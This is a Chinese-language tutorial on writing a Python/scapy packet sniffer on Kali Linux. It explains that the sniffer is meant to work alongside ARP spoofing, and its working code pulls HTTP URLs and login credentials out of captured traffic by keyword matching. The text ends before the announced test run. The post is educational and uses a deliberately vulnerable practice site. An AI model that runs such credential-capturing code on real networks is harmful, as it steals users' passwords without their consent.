Note: 此教學可應用在大部分的 Linux 作業系統。
什麼是封包偵測 (Packet Sniffer)?
偵測(Sniffers)是一種網絡流量數據分析的手段,常見於網絡安全領域使用,也有用於業務分析領域,一般是指使用偵測器對數據流的數據截獲與封包分析(Packet analysis)。
用途:
- 分析網絡問題
- 分析網絡信息流通量
- 探測企圖入侵網絡的攻擊
- 探測由內部和外部的用戶濫用網絡資源
- 探測網絡入侵後的影響
- 監測網絡使用流量(包括內部用戶,外部用戶和系統)
- 監測網際網路和用戶電腦的安全狀態
- 滲透與欺騙
參考連結:維基百科
使用 Python 撰寫 「封包偵測」(Packet Sniffer)
開發環境
- 虛擬機:Virtaul Box
- 作業系統:Kali Linux
- 語言:Python 2.7
使用模組(Python 模組)
功用
攻擊者如何使用嗅探器(監聽)攻擊網絡:
- 攻擊者和受害者在相同的區域網路下
- 使用 ARP Spoofer 將封包重新導向流入攻擊者,也扮演中間人的角色
- 解析封包,提取密碼和敏感資料
因此這篇文章會實作一個封包解析腳本,能透過一個介面(eth0)分析封包,進而讓我們拿到有用的資訊,例如使用者的帳戶、密碼……等。
實作
以下為完整程式碼:
在此我們設計一個 sniff(interface) 函式,輸入為一個介面去獲取資料的來源,在此我們將嗅探 eth0,因為我們的Kali主機只有 eth0 連上網路,故選擇它當作介面( interface ):
def sniff(interface): scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet) sniff("eth0")
在此函式裡,我們呼叫 scapy 裡的函式 sniff,以下我們來看下 sniff 方法的描述信息:
def sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, iface=None, *arg, **karg):
- count:抓包的數量,0表示無限制
- store:保存抓取的封包或者丟棄
- prn:為每一個封包定義一個函數,如果返回了什麼,則顯示。例如:prn = lambda x: x.summary()
- offline:從 pcap 文件讀取封包,而不進行嗅探(Sniffer)
- timeout:在給定的時間後停止嗅探,默認為 None
- L2socket:使用给定的 L2socket
- opened_socket:對指定的對象使用 .recv() 進行讀取
- stop_filter:定義一個函數,決定在抓到指定封包後停止抓包,如:stop_filter = lambda x: x.haslayer(TCP)
- iface:指定抓包的介面
scapy 的函式 sniff 有個參數 prn,其為每一個封包定義一個函數,如果返回了什麼。接下來開始實作 process_sniffed_packet 函式:
def process_sniffed_packet(packet): if packet.haslayer(http.HTTPRequest): url = get_url(packet) print("[+] HTTP Request >> " + url) login_info = get_login_info(packet) if login_info: print("\n\n[+] Possible username/password > " + login_info + "\n\n")
我們使用 haslayer 函式判斷是否有 http 相關的封包:
if packet.haslayer(http.HTTPRequest):
而 get_url(packet) 取得封包的 http url 資訊,函式的詳細內容如下:
def get_url(packet): return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
此 Packet Sniffer 程式我們期望能過濾出使用者登入網站時的 帳戶、密碼 ,因此在 process_sniffed_packet 函式裡可以看到呼叫 get_login_info(packet),此函式是用來過濾出登入資訊,詳細程式如下:
def get_login_info(packet): if packet.haslayer(scapy.Raw): load = packet[scapy.Raw].load keywords = ["username", "user", "login", "password", "pass", "uname"] for keyword in keywords: if keyword in load: return load
在此 Raw 是我們要的 layer,而裡面的 load 這個欄位包含了使用者輸入的帳密。
假設我們去拜訪其他網站,其他網站的 load 這個欄位可能會傳給我們沒用的資料(Data),即使剛剛使用者輸入的帳密資訊還在,終端機會變得很雜亂。
因此我們使用關鍵字來過濾出我們想要的資料,創建一個放關鍵字的 List(參數 keywords),檢查 load 這個欄位是否有我們想要的關鍵字。
接下來我們使用 http://testphp.vulnweb.com/login.php 來測試程式運行: